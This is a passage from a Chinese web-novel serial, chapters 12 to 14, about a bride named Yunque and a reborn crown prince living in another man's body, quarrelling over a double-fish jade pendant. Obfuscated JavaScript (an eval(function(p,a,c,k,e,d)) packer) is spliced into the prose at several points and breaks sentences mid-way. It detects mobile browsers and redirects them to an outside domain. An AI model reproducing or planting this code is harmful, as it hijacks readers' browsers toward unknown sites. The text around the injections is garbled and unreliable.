他面向平静的湖面,静立半晌,才冷声道:“娘子若不愿这湖底的‘惊喜’大白于天下,那便谨记本分,安守妇道,切莫再起旁的心思。” 云雀在他身后暗暗瘪了瘪嘴,心头却反而定了几分。 她眼珠一转,上前一步,凑到江聿风身侧,伸手指了指湖边一块半浸在水中、缠绕着几缕青绿水草的湖石,仰起脸道:“君当作磐石,妾当作蒲苇。妾身对夫君一心一意,绝无二心。” 湖水如镜,清晰地倒映着秋日高远澄澈的碧空,岸边垂柳的枯枝,以及……岸边两道挨近的倒影。 某人的心神忽然有一瞬的恍惚。 恰在此时,一缕微风拂过湖面,细小的涟漪层层荡开,湖中的倒影随之晃动、扭曲,仿佛无声地撕开了一道时空的罅隙。 …… “嘶——”沈羡倒抽一口凉气,蹙着眉看向湖面倒影出的那个正小心翼翼为他清洗背上狰狞伤口的少女。 她穿着洗得发白的粗布衣裳,乌发只用一根布带随意挽着,几缕碎发垂在颊边。素净的小脸绷得紧紧的,手上动作却异常轻柔,仿佛在对待世上最易碎的珍宝。 “活该!”云雀嘴上毫不留情地骂着,手上的力道却更轻了几分,“明知自己伤没好利索,就敢偷偷溜出去。这一去一回瞎折腾,伤口不裂开才怪!” 沈羡忍着背上火辣辣的抽痛,艰难地侧过头看她,眼底带着无奈的笑意,“你这一去就是两个时辰,我怕……” “怕我把你这个半死不活的烫手山芋给卖了?”云雀没好气地打断他。 “不,怎么会?”沈羡急声解释,“城中通缉我的画像还未撤下,你独自进城,我怎能不担心……” “谁要你担心了。”云雀瞪他一眼,眼圈却有点红,“你乖乖待着,不让我提心吊胆,就是帮我大忙了。” 沈羡看着她明明担忧得要命却偏偏嘴硬的模样,心尖软得一塌糊涂。 他忍着痛意,从怀里摸索出一个洗得发白的小布包,献宝似的递到她眼前,“喏,给你的。” 云雀狐疑地接过,解开缠绕的布结,里面静静躺着两块小巧玲珑的玉佩。 玉质不算顶好,但雕工极为精细灵动,是两条首尾相衔、栩栩如生的锦鲤。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995530|178153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “双鱼佩?”云雀愣住了,声音有些发颤,“你……你这是从哪弄来的?” 沈羡没有直接回答,只是拿起其中一块,不由分说地将红绳绕过她纤细的脖颈,仔细系好。 尚存余温的玉佩贴上她温热的肌肤,二人体温纠缠。 他故作轻松地抱怨,“听你这个小神婆念叨了好几回,说什么锦鲤能带来好运,听得我耳朵都要起茧子了。喏,这下得偿所愿,总不必再惦记了吧?” 云雀低头看着静静躺在自己心口处的玉佩,又看向沈羡,“你……你冒险溜出去,就是为了这个?” 沈羡凝视着她微红的眼眶和紧抿的唇,心口像被什么东西塞满了,又酸又涨。 他握住她的手,目光灼灼,忽然声音压低,带着前所未有的认真与郑重,一字一句,敲在她心上: “云雀,嫁给我吧。” “等一切尘埃落地,与我一同回京,我……” “好。”云雀几乎没等他说完,便毫不犹豫地应了下来。 没有羞涩的迟疑,没有故作矜持的推脱,只有一个清晰无比、蕴含着全部勇气和心意的“好”。 夕阳余晖落在她仰起的脸庞上,映照着少女的羞涩与坚定,折射出扣人心扉的光。 那一刻,沈羡的心,软得如同初春融化的雪水。 他生于金碧辉煌的东宫,长于波谲云诡的权力漩涡。世人皆仰望他“举世无双、至高无上”的太子身份,匍匐于权势之下。 唯有眼前这个女子,在他跌落尘埃、一无所有时,以最纯粹的心意待他如常人。 她是这污浊世间赠予他的、最干净无瑕的珍宝。他近乎虔诚地在心底发誓:此生此世,定要将世间一切美好,悉数捧至她面前。 云雀拿起另一块双鱼佩,珍重地挂在他的脖子上,“我记得卖玉佩的那位婆婆说过,这佩有灵,只认有缘人。若是有缘人真心相待,彼此佩戴……那缘分几世都断不了。” “几世?”沈羡怔了一下,随即低笑出声。 他故意皱起眉,夸张地倒吸一口凉气,“嘶……娘子,就这一个月,我就被你骂得狗血淋头了。下一世……” 他凑得更近,端着一本正经,却是极致温柔道:“娘子能否稍微温柔些许?不然,为夫可得提前去跟阎王爷打声招呼,求他老人家开个后门,让为夫投胎做个聋子,免得再遭这河东狮吼之苦?” “哼!何必等下一世?”云雀闻言,俏脸一板,佯装恼怒地眯起眼,作势便要伸出“魔爪”,“眼下就让你这贫嘴的家伙,如愿以偿做个‘聋子’。” “哎呀!救命!谋杀亲夫啦——”沈羡配合地夸张大叫,作势要躲,却在她扑来时,将她紧紧地拥入怀中。 …… 那缕搅乱了时光的微风,不知何时悄然止息。 湖面重新恢复了平静。 不知不觉间,某人唇角牵起一抹浅笑。 不同于揭开红盖头时的羞赧,更不似化作“鬼”后的冷笑,而是真真切切,自冰封的心湖最深处,悄然弥散开来的一缕暖阳。 这抹发自心底的笑意清晰地映入云雀眼底,叫她心头一跳,眸光微凝,竟有片刻怔忡。 方才那句“君当作磐石”不过是她急中生智、信口开河的奉承话,竟……真的奏效了?竟能打动这深不可测的恶鬼? 刹那间,一股绝处逢生的狂喜如电流般窜遍全身。 云雀心头重燃希望,看来情话才是化解此等怨灵滔天怨气的关窍所在。 倘若当真奏效,别说三日,只要能稳住江聿风,即便等足七日再逃似乎也未尝不可。甚至,若能哄得他的信任,利用江家二公子的身份查出黑衣人的耳目,反客为主,届时拿回那核桃猴子也并非不可能。 云雀顿觉精神大振,正欲再接再厉,趁着他此刻心情松动,再灌上几壶更浓更甜的“迷魂汤”,对方却毫无征兆地开了口: “娘子颈间那枚玉佩,倒是颇为别致。”声音已然恢复了惯常的清冷平淡,听不出丝毫波澜。 他缓缓回眸,目光落在云雀衣襟处,“不知……是何人所赠?” 12. 双鱼玉佩 沈羡缓缓侧过脸,视线沉沉凝在云雀衣襟处,“不知……此物系何人所赠?” 云雀一颗心刚落下半寸,骤然又提到了嗓子眼,下意识地护住胸口。 “不必惊惶,”沈羡淡道:“昨夜无意瞥见罢了。” 实则云雀心知昨夜他并未动自己分毫,眼下她哪里是忧心他如何瞧见了玉佩?她是怕这枚玉佩本身,会触到他那根要命的弦。 只因她对墨翎展颜一笑,他便眼底戾气骤生。若再教他知晓,这玉是那没良心的未婚夫予她的定情旧物,怕不是要当场将她沉了湖。 云雀不敢再想,忙堆起一个轻快的笑,“夫君说笑呢,这哪里值当旁人相赠?不过是早年间在街市小摊随手买的小玩意儿,瞧着花纹别致,戴着图个吉利罢了。” 她故技重施,眼波流转间含了三分情意七分羞赧,脉脉望向江聿风,“那时妾身懵懂,只盼着能觅得个知心人。谁曾想,这无心插柳的物件竟真应了验,叫妾身有幸得遇夫君……” 然而一语毕,对方却丝毫未如她料想般软化。 “哦?”沈羡微敛了敛眸,面上依旧无甚表情,声音却显然冷了下来,“这等成双配对、首尾相连的双鱼佩,当为一对才是。娘子既说是随手买来图吉利……”他刻意顿了顿,眉峰微挑,“那为何,只得孤零零的一枚?” 云雀的心提到了嗓子眼。 为何只得一枚? 自然是随那短命鬼一同长埋黄土了。可这实情,叫她如何解释出口? 不过眼下她几乎能确定,她越是紧张在意,他那身戾气便越重。因而,此刻唯有一法,那就是表现得……浑不在意。 云雀暗自沉下一口气,指尖掐进掌心,面上却绽开脆薄的甜笑,“夫君这话好生奇怪。” 她歪着头,嘟囔着嘴,“又不是鸳鸯,谁家规矩非得成双成对戴着?妾身买它时,本就是单卖的玩意儿。”语声一顿,添上几分嗔意,“妾身那时又无心上人,买一双做什么,岂非平白惹人笑话。” 她语速轻快,噼里啪啦倒豆子似的说着,可对面那“人”仿佛完全屏蔽了其它,只死死抓住了四个字。 沈羡唇齿间无意识地碾磨着,声音低哑得可怕: “无心上人……?” 云雀心头一坠,抬眼见那双幽冷的眸中墨色翻涌,似有惊怒与惘然交织。 她一下不明所以了。 心念交锋急转,她将牙一咬,决定做戏做全套,赌一把。 云雀倏地抬手,三两下便解开颈间红绳,将那枚犹带体温的双鱼佩,带着一种近乎决绝的力道,塞进那只冰凉的长掌中。 “喏,夫君既瞧着喜欢,便赠予夫君了。”她扬起下巴,努力让声音听起来轻松些,“横竖戴着也是……” 咂摸片刻,吐出两个字:“……累赘。” …… 空气仿佛瞬间凝固。 “累……赘?”沈羡不可置信地看着她。 云雀迎着他冰层下焚天的目光,强撑着用力眨了下眼,无比诚恳地点了一下头: “嗯!” 沈羡僵了一瞬,尔后像是抽走了所有力气,视线极其缓慢地、一寸寸从她脸上移开,移向掌心那枚突然闯入的玉佩。 那里还残留着她颈间的温热,甚至沾染了一丝细微的、属于她的独特馨香,此刻,却讽刺至极。 他一瞬不瞬地看着,半晌没有动。 …… 呵。 好……好一个…… ……累赘。 是了。对于她这个贪生怕死、见风使舵的骗子而言,这枚不值钱的旧物合该是个累赘。 如今她腕上戴着江家价值连城的传世玉镯,口口声声心甘情愿唤那“病秧子”做夫君,这枚承载着过往温情的玉佩,如何不是碍眼的累赘?! 那一声声脱口而出的谎言,那毫不在意的轻慢语气,化作最烈的毒油,轰然浇灌在他心头的熊熊业火之上。 细长微翘的眼尾漫开一片骇人的猩红。 沈羡蓦地阖紧双眼,用力收紧掌心,仿佛要将这冰冷的玉石生生嵌入骨血,又或是想用这蛮力,将心中翻搅的那些被彻底背叛的狂怒、被弃如敝履的剧痛、以及无处宣泄的悲怆绝望,连同这枚“累赘”,一齐捏成齑粉。 他胸口剧烈起伏,本就苍白的指节因过度用力,绷紧到近乎透明,皮肤下的青色血管狰狞凸起。 不知过了多久,那深沉刺痛的喘息才被强行压回胸腔。 他缓缓睁眼,眼底只剩一片枯寂,他却又一次,异常清晰平稳,一字一句地道:“为夫再给你一次机会。” 只此一次。 他看着云雀,眸光深沉到似要穿透眼前之人的皮肉,要将她的心剜出来,剖开,看个够。 云雀被他这样更深沉、更可怖的目光吓到了,认定他是看出了什么,要给自己冠上个“不贞”的罪名。 仓皇间,她竖起三根手指,指向苍天,“妾身所言句句属实!我、我对天发誓……” 那誓言尚未成形,声音便戛然而止—— 她惊恐地看到,那只攥着玉佩的手,正以一种极其缓慢、带着某种残酷仪式感的姿态,向外移至波光粼粼的湖面上方。 五指松开…… 那枚莹润的双鱼佩,便悬吊在凝滞的空气里,仅靠他指尖一点微末的力道维系着,在湖心上空危险地摇曳、旋转。 云雀的心猛地一抽,几乎是本能地伸出手,失声惊呼:“别——!” “哦?”沈羡悬在湖面的手忽地定住。 终于,她开口了。 一丝难以言喻的松快悄然拂过沈羡心尖。 他心中冷笑,果真还是舍不得。 是啊,她定是碍于此刻“江聿风”这层碍眼的身份,才不得不苦苦压抑罢了。 也罢,既是她先开的口,也不是不能给她一个台阶下。只要她此刻幡然悔悟,流露出些许对旧物的不舍,他也并非不能勉强压下“亡夫”的滔天委屈,暂且留她一条小命,好好审讯这三年间的种种。 沈羡缓缓侧首,语气竟诡异地温和下来,“别……怎样?” 眼见云雀长睫低垂,无意识地咬住下唇,沈羡心下了然。 三年了,她的样貌未曾多变,心思倒是深沉了不少。 他自认已给足了耐心,甚至不惜纡尊降贵,亲自鼓励一番,语气更缓了几分,“为夫答应你,不究前尘,你无需因顶着‘江少夫人’的名头便心生顾忌。夫妻相处,贵在坦诚,我……容你此刻,坦诚相告。” 他将定定地盯着云雀,不放过她每一丝表情变化、每一点细微动作,哪怕只是指尖微颤,抑或眼底一丝水光,便是他要的答案。 这是他予她的……最后一次垂怜,是她唯一的机会。 然而,这番在沈羡看来已是破格施恩的宽宥之言,听在云雀耳中,却如同淬毒的蜜枣无疑。 这恶鬼果然狡诈,威逼不成,便开始利诱。想用“既往不咎”“夫妻坦诚”这种鬼话,哄骗她自己承认“不贞”,好名正言顺将她沉湖?! 无非是低劣的诡计罢了,她是万般不能轻信。 原本只想扮演贞洁以求自保的她,此刻被这“厉鬼”的步步紧逼彻底激起了逆反心,一股破釜沉舟的狠劲直冲头顶。 只见她缓缓抬起脸,那双清澈的杏眸直视沈羡,轻飘飘地落下一句,“没什么,既给了夫君,随你处置便是。” 此言一出,沈羡蓦地僵在原地。 没有预想中的慌乱、哀求、歇斯底里的坦白,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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玉佩若不在了,他便真真正正、干干净净地,从她的世界里彻底消失了。 三年了。 她早已习惯夜深人静时对着玉佩喃喃自语,将所有的委屈、怨恨、思念、乃至一点卑微的期冀,都倾注其中。殊不知,那千百遍的咒骂背后,是不敢不能,却又不得不承认的…… 相思。 然而此刻,这唯一的念想,这维系着她与过往的最后一线,就在她眼前,消失了。 一股迟来的钝痛猛地攫住了她。 云雀心中苦笑,她竟然还会为了那个人心痛。只是,如今她不该再心痛了。 袖中攥紧的拳一根手指、一根手指地松开,她挺直脊背,深深吸了口气,尔后一字一顿,干涩却清晰地回答: “不重要。” 秋日正午,日光依旧带着灼人的热度。 云雀伶伶地立在湖边,却感觉不到丝毫暖意。 沈羡看着她那副一无所谓的模样,心中的怒火却奇异地在最高点冷却下来,沉淀为一种更深沉、更冰冷的寒意。 他忽然勾起唇角,那笑容毫无温度,甚至带着一丝令人毛骨悚然的玩味。 “娘子脸色不大好,想是昨夜……耗费了太多‘阳气’。”他抬手指了指头顶灼目的金乌,“此地阳气最盛。娘子便在此处,好生晒足一个时辰,仔细补养一番。” 他顿了顿,满意地看着云雀瞬间瞪大的双眼,慢条斯理地续道: “至于今夜‘渡气’之期,提前至戌时三刻。” 他微微倾身,贴着云雀耳畔,低沉冰冷吐出四个字:“为夫……恭候。” 言毕,他不再施舍半分目光,月色袍袖一拂,转身离开。 滚烫的阳光烤着皮肤,云雀僵直立在原地,一动不动。 直至日头开始西移,地上被渐渐拉成的影子终于动了一动。 她缓缓转过头,目光死死钉在那道身影消失的方向,自齿间狠狠咬出几个字: “江、聿、风——!” 13. 千层酥 秋日晌午的阳光暖融融地洒在花厅前的回廊上。 墨翎身姿挺拔地立在廊下,手里捧着一个黑漆食盒,莲子捧着漱口的青盐盂,麦冬则端着盛满温水的小铜盆。 平日里二公子多在书房用膳,只墨翎一人伺候便可,今日因着新少夫人,午膳便摆在了敞亮的花厅,连带着伺候的人也多了起来。 莲子悄悄瞄着几步开外的墨翎。 天光落在他侧脸上,衬得鼻梁越发挺直,唇角似乎总带着一丝温熙的笑意,看得她耳根微微发热。 麦冬性子更跳脱些,用胳膊肘轻轻碰了碰莲子,小声嘀咕:“哎,墨翎大哥今儿个瞧着真精神。” 莲子脸一红,比了个手势,“嘘,小声点。”一转头,自己却忍不住开了口,“墨翎大哥,你在日头下晒了半晌了,这食盒…要不交给他们拿会儿?”她伸出手,指尖点了点另一边几个垂首而立的小厮。 墨翎闻言,目光依旧平视前方,只微微颔首:“多谢莲子姑娘,无妨。” 麦冬不甘心,笑嘻嘻地凑近半步:“…对了,听说昨儿个茶房的茯苓姐姐给你送了新做的荷包?那花样儿可鲜亮……” 墨翎眉头几不可察地皱了一下,还未开口,另一头的月洞门处便传来了脚步声。 只见“江聿风”一袭淡青锦袍,步履略显沉滞。 墨翎立刻迎上前,目光在“二少爷”身后习惯性地一扫,不见另一人的身影。他眼底掠过一丝极淡的疑虑,却什么也没问,只是恭敬地躬身:“公子。”随即,引着主子往花厅主位去。 沈羡甫一坐下,眉头便是一蹙。 这才九月,远未到烧暖炉的时节。桌下竟早早安置了一个黄铜暖炉,炭火烧得正旺,热气蒸腾而上,熏得人有些燥。 他瞥了一眼那突兀的暖炉,沉着脸坐下了。 莲子细心,瞧见公子似乎不太自在,但不敢多言。 麦冬却是个没心眼的,她惦记着少夫人没用早膳,这会儿又不见人影,忍不住脱口而出:“少爷,少夫人呢?要不要奴婢去寻寻?这都晌午了……” 沈羡本就被那炭火烤得心烦气躁、翳闷窒息,指尖刚触及墨翎递来的玉箸,听了这话,手上动作一顿。 他缓缓抬起眼皮,目色泠然,幽幽地钉在麦冬脸上,“到底谁才是你的主子?” 这话一出,厅里瞬间静得落针可闻。 要知道,这位二少爷素来好相与,别说这般冷厉地责备下人了,就连这种眼神,几人都从未见过。 麦冬面上血色褪尽,嘴唇哆嗦了两下,半个字也没吐出来,只得求救地看向旁边的莲子。 莲子心里也是一咯噔,慌忙上前,福身解释道:“二少爷息怒。麦冬她就是嘴快,没别的意思。少夫人早起后粒米未进,麦冬也是担心少夫人身子,这才失言了,求二少爷宽宥一回。” 沈羡的手悬在半空,微微一顿,淡而又淡道:“既然她这么关心,那便去门口跪着迎她的新主子吧。” 麦冬的眼泪唰一下流下来,还欲再说什么,被莲子拦住,拉着她往门外跪去了。 沈羡不再看那两个丫鬟,径自提起玉箸。 桌上是他晨起后亲点的几味菜肴:水晶虾仁、蟹粉狮子头、清炖鸡汤,并两碟翠嫩时蔬。俱是昔年东宫常备的滋味,未料侯府庖厨竟也精于此道,色香俱全,几可乱真。 至于味道…… 沈羡目光掠过这一席熟悉的珍馐,喉间却似堵了一团浸水的棉絮,沉甸甸地坠着,将半分食欲也消磨殆尽。 他夹起一箸虾仁,在碟沿沾了沾酱汁,未及送入口中,复又放下。玉箸转而拨弄了一下那圆润的狮子头,只觉意兴阑珊。 最终,那箸搁回乌木架上,发出一声极轻的“嗒”。 满桌佳肴,纹丝未动。 墨翎本就一直留意着,见状立刻上前一步,低声道:“公子,可是今日的菜肴不合口味?” 未等沈羡言语,他已打开一直放在桌角备用的食盒,从里面端出一碟四块色泽金黄、层层叠叠的点心,小心翼翼地放至沈羡眼前。 “这是按您吩咐,赶早去醉仙居买回的栗子千层酥,还温热着。您…先用些点心垫垫?” 沈羡目光掠过那精致点心,却未显半分兴致,反而抬眼看了看窗外。 日头已明显西斜。 他又瞥了一眼花厅门口的方向,空空荡荡。一股难以言喻的烦闷和燥热涌上心头,比桌下炭火更甚。 他抬手一挥,“不必,都撤了。” 墨翎一怔,面露难色,张了张口,还欲再劝几句,却听得桌下“哐当”一声响。 那个烧得正旺的黄铜暖炉竟被沈羡一脚从桌底踢了出来,骨碌碌滚到了墨翎脚边。 连带一声冷冰冰的:“还有这个。” 墨翎瞳孔微缩,瞥了一眼滚到脚边的暖炉,又迅速扫了一眼沈羡阴沉得能滴水的脸色,不敢再多言半句,立刻躬身道:“是。” 他旋即转身,对候在廊下的小厮使了个眼色,声音恢复了一贯的平稳:“来人,撤席。”自己则亲自俯身,将那暖炉稳稳扶起,小心端了出去。 各式珍馐佳肴如同退潮般,被一一端离,琳琅满目的色彩渐次消散。 随着眼前不断清空,桌上那碟色泽金黄、层叠繁复的千层酥,便如同退潮后显露的唯一礁石,愈发清晰地占据了视野中心。 沈羡的视线,再次不由落回那一点金黄之上。 可看着看着,碟子里盛着的点心,忽地变了颜色,尔后坍塌、重聚,成了几块色泽深褐,形状不甚规整、甚至有些碎裂的…… 核桃酥。 …… 秋日斜阳,透过糊着破洞旧纸的窗棂,落在云雀额角细汗上。 她一口气还未喘匀,便献宝似的将一个小油纸包推到沈羡面前,眉眼弯弯,“快尝尝,我踩着酥铺关门的点儿去买的,就剩这几块了。” 油纸窸窣打开,露出里面几块深褐色、边缘微糙的核桃酥。 云雀自顾自地念叨,“瞧你天天灌那些苦药汤,嘴巴都要苦透了,得用这点甜压一压。” 沈羡半倚在草席上,面色是病后的苍白,眼底却盛着暖融融的笑意。 他慢悠悠拈起一块酥,指尖在粗糙的酥皮上摩挲了一下,忽然抬眸,“你怎么笃定我的嘴是苦的?”他顿了顿,眉梢微挑,“莫非……你偷偷尝过?” “你!”云雀的脸腾地一下红透,羞恼得小拳头瞬间攥紧,“沈羡,你找打!”粉拳带风,不轻不重地砸在他肩头。 “嘶——”沈羡夸张地抽了口气,捂住肩膀,眉梢眼角却弯成月牙,“完了,手被你打折了,这点心……可如何吃才好?” 不等云雀答话,他凑上前,目光灼然,带着三分乞求三分委屈四分无奈道:“看来……只能劳烦云雀姑娘,屈尊喂在下一回了?” 云雀被他看得心跳如鼓,又羞又恼地瞪圆了眼,可终究还是败在那双落满星子的眸里。 她咬了咬下唇,拈起一块核桃酥,屏着呼吸递到他唇边。 沈羡就着她微颤的手,慢条斯理地咬下一小口,细细嚼着,目光始终未曾离开她薄红的脸颊。 “京城有家顶有名的去处,”他咽下酥,轻声道:“唤作醉仙居。” 云雀正低头搓着指尖的酥屑,闻言随口应了句,“醉仙居?卖酒的?” 沈羡摇头,“酒自然是好的,但最有名的却不是酒,而是他家的栗子千层酥。” 一听“千层酥”几个字,云雀抬起眸。 沈羡含笑,声音放缓,“那酥皮薄如蝉翼,层层叠叠,怕真有千重。栗子蓉是用最上等的油栗,细细碾磨了,文火慢熬出来,甜香细腻,入口即化,一丝渣滓也无。” 这描绘听得云雀眼睛一亮,下意识咽了下口水,可随即又板起小脸,举起手里还剩的半块核桃酥,在他眼前晃了晃,“怎么?嫌弃我这路边摊上买的粗粝点心了?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995532|178153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 沈羡眯起眼,目光在那半块酥上溜了一圈,故意拖长了调子,“嗯……是有点儿……” 他本想着逗逗云雀,却没料到对方非但不愠不恼,反而眼眸滴溜溜一转。 云雀突然放下核桃酥,挺直腰板,一本正经道:“你闭上眼。” “嗯?”沈羡挑眉。 “带你回京城。”云雀脆生生道。 沈羡忍俊不禁,从善如流地阖上双眼。 云雀拉起他一只手,引着他“走”到桌边,清了清嗓子,捏起细软的嗓音,抑扬顿挫地吆喝起来:“贵客光临醉仙居。本店招牌栗子千层酥,新鲜出炉,香飘十里。客官您请慢用——!” 她拿起一块核桃酥,郑重其事地放进沈羡掌心,又托着他的手送到他唇边,满是期待道:“快尝尝,醉仙居的招牌。” 沈羡闭着眼,顺从地对着掌心里的“招牌”咬了一大口。 “客官可还满意?”云雀忍着笑问。 沈羡煞有介事地细细品咂,半晌才悠悠道:“嗯,滋味甚佳,果然名不虚传。不过嘛……” 他睁开眼,看了看手中的核桃酥,又抬眼望向云雀,“可惜,醉仙居的点心,向来是有美人素手纤纤,亲自喂到唇边的。” “美人!?”云雀嗔怒地一撇嘴,转而眼底闪过一丝狡黠,捏着嗓子,“好好好,客官您金贵,奴家这就来伺候您。” 她将“伺候”二字咬得格外重,小手一伸,抓起剩下的核桃酥,不由分说就朝沈羡嘴里塞去,“奴家手劲儿大,客官您多担待!” 沈羡嘴里喊着“饶命”,手臂却是一展,顺势将那个小小身影搂进了怀里。 云雀被他紧紧箍住,象征性地挣了挣,脸颊贴着他微凉的衣襟,那点羞恼早被蹭得不见了踪影,只剩下满心柔软和好奇。 她仰起脸,下巴搁在他胸口,本就澄澈的双眸迎着窗外透进的微光,愈发透亮。 “沈羡,”她声音柔下来,“你再跟我多说说京城的事呗,什么都行。” “好。”沈羡低头,下颌轻轻蹭了蹭她的额发,“京城有大糖葫芦,皮影戏,花灯会……” “花灯会?” “嗯。正月十五上元节,千盏琉璃灯能把夜空都映成白昼,朱雀大街上,金鱼灯在水里游,凤凰灯衔着宝珠,走马灯转着才子佳人的故事,人潮摩肩接踵,笑语喧天……” 沈羡捏了捏她听得入迷的小脸,“还有情人桥上,小娘子们提着莲花灯许愿,月老的红线啊,能把整座桥都绕满了。” 云雀听得悠然神往,戳戳他心口:“那……你那京城的宅子,离这热闹远吗?” 沈羡眸色暗了暗,“不远,很近。” “很近?那该是很贵的宅子吧。”云雀一顿,又问,“那大吗?” 沈羡低低笑了一下,“大,全京城最大。” “吹牛。”云雀撅了撅嘴,指尖绞着他的衣袖,“你呀,能将我那间被烧掉小院赔来,我就心满意足了。”她掰着手指头算,“你,我,再加上阿九那只皮猴,也够住了。” “那可不行。”沈羡收紧手臂,垂眸看她,“光咱们三个怎么够?那咱们将来生的十个八个胖娃娃,睡哪儿?院子里打滚儿都扑腾不开。” “十…十个八个?!”云雀惊得从他怀里弹起,杏眼圆睁,耳根红透,“谁要给你生一窝娃娃?”羞恼的拳头又要落下,却被沈羡朗声笑着捉住手腕,更紧地嵌入怀中。 …… 墨翎正欲撤走那碟千层酥,蓦地撞见二公子一副鬼迷心窍的神情。唇角似噙非笑,眼底却空茫茫一片,仿佛魂魄遗落在不知名的去处。 他动作一滞。 目光在公子与点心碟之间逡巡几回,终是没忍住,低问道:“公子,这点心,可需留着? 沈羡眼睫微不可察地一颤,涣散的目光渐渐回笼,掠过墨翎肩头,又毫无征兆地飘向窗外某个方向,冷不丁问了句: “什么时辰了?” 14. 变化 墨翎恭敬垂首,“回少爷,刚过未时。” 沈羡淡淡“嗯”了一声,目光又重新落回桌上,仿佛方才只是随口一问。 墨翎不再多言。 一旁的莲子却将主子的举动尽收眼底。二少爷这般频频外望,又状似无意地问时辰,不必言明,定是与二少夫人闹了别扭,正端着架子呢。 这种僵局,最需有人递上一截顺滑的台阶。 她上前一步,试探道:“醉仙居的栗子千层酥最是难买,却也最娇贵,凉了酥皮便塌,风味尽失。二少爷若是不用,奴婢斗胆,想着送去给二少夫人尝尝?毕竟是您……特、地命人买来的。” “特地”二字有意无意地加重了些。 沈羡并未抬眼,莲子正待纳闷,忽然听到一声几近于无的—— “嗯”。 莲子心里惦记着跪在门口的姐妹,麻利地将点心装入食盒,“奴婢这就叫麦冬速去速回,保准把话儿原原本本,都递到少夫人跟前儿!” 不知是那恼人的暖炉终于被撤走,还是看着那千层酥往湖边去了,沈羡只觉得胸臆间那股燥闷散去些许,总算吸入一丝微凉清新的空气。 他疲惫地阖上眼,抬指揉了揉突突发胀的太阳穴。 稍倾,墨翎的声音再度响起:“公子,时辰到了,该用药了。” 沈羡掀起眼。 这一回,目光带着几分审视,真正落在了眼前这个青年身上。 重生不过一夜,对这具心跳诡异偏居右侧的孱弱躯体,他尚在艰难适应。关于“江聿风”过往的许多细枝末节,记忆也如同蒙尘的旧画,模糊不清。 然而,这侯府中重要人物的身份、声音、样貌,以及与之相关的某些既定印象,却仿佛留在了这具身体里,自然而然地流入脑中。 墨翎。 比江聿风小两岁。是他十岁那年,前往道观修养后返京途中,在路边救下的一个奄奄一息的流浪孤儿。自那以后,他便成了江聿风形影不离的影子,相伴成长。老太君见两人年岁相仿又投契,曾亲自赐名“长庚”,取“长久光明”之意。 可当年的江聿风,却觉得“长庚”这名字太过像下人,不好,于是亲自为他另取一名—— “墨翎”。 其意昭然,希冀这少年有朝一日能如墨色玄鸟之翎,挣脱樊笼,翱翔九天,去见识那更广阔的天地。 沈羡心中无声嗤笑,既存了这份成全之心,又为何将这少年牢牢拴在身边十余载,做那贴身侍从,寸步不离。生生将一个人打磨得连性情、乃至眉宇神色都与自己有了三分相似。 这般予人自由?何其可笑。 心底冷嘲不绝,沈羡面上却不动声色,只依言伸出手,接过了墨翎递来的药碗。 碗中药汁浓稠,色泽漆黑如墨,浓重苦涩的药气霸道地直冲鼻腔。 沈羡微微蹙了蹙眉。 墨翎敏锐捕捉到他眉间变化,温声解释,“上月孙医圣请脉后,斟酌再三,在方子里特添了一味‘鬼箭羽’,此药性烈,入汤后颜色便格外深沉些。” 沈羡未言语,目光在药汁上停留片刻,仰头一饮而尽。 墨翎几乎是本能地抽出袖中一方干净的素帕,抬手便要替他擦拭唇边药渍。 沈羡却像是被那突如其来的亲近动作蛰了一下,身体蓦地后仰,避开了伸来的手,沉声道:“不必。”随即抬手,近乎是夺地接过那方帕子,自己在嘴角按了按。 墨翎的手尴尬地僵在半空,指尖微不可察地蜷缩了一下,才缓缓收回袖中。 他沉默转身,从旁边小几上的青瓷小碟里拈起一颗蜜渍青梅脯,递到沈羡眼前,“青梅脯。”稍作停顿,又补了一句,“公子从前…最是喜欢的。” 沈羡眉峰微挑,将沾了药渍的帕子丢在桌角,看向墨翎,“你且说说,我与从前……有何不同?” 墨翎倏地垂下目光,盯着自己鞋尖,不敢开口了。 沈羡也不催促,兀自取过手边已温凉的茶盏,浅浅啜饮一口,“你我之间不必拘谨。有什么,但说无妨。” 听了这话,墨翎缓慢地抬起眼睫,目光谨慎地在沈羡脸上流转几瞬。但见主子神色和缓,无喜无怒,他稍作犹疑,这才像得了某种许可,低声道:“公子今日……气色倒是比往日好了许多。” 沈羡不置可否,“还有呢?” “公子……”墨翎斟酌着字句,又道:“您往常,是从不过问药汤的。” 沈羡把玩着茶盏盖的手一顿,“继续。” “今日的午膳,是公子一早亲自吩咐的菜式。从前……公子从未对膳食有过具体要求。” “即便从前不坐轮椅时,公子也从未疾步走过。” “方才在花厅……您的声音,比往常厉了几分。” “眼神也不及从前温和。” “您……还责问了麦冬。”墨翎停顿了一下,声音更低,“公子从未责备过下人。” 墨翎像是打开了话匣子,又像是忍了许久,一口气接连吐出十几个“从未”、“不及从前”,语速越来越快,到末了,甚至已带上几分压抑已久的埋怨与困惑。 沈羡抚着隐隐作痛的额角。 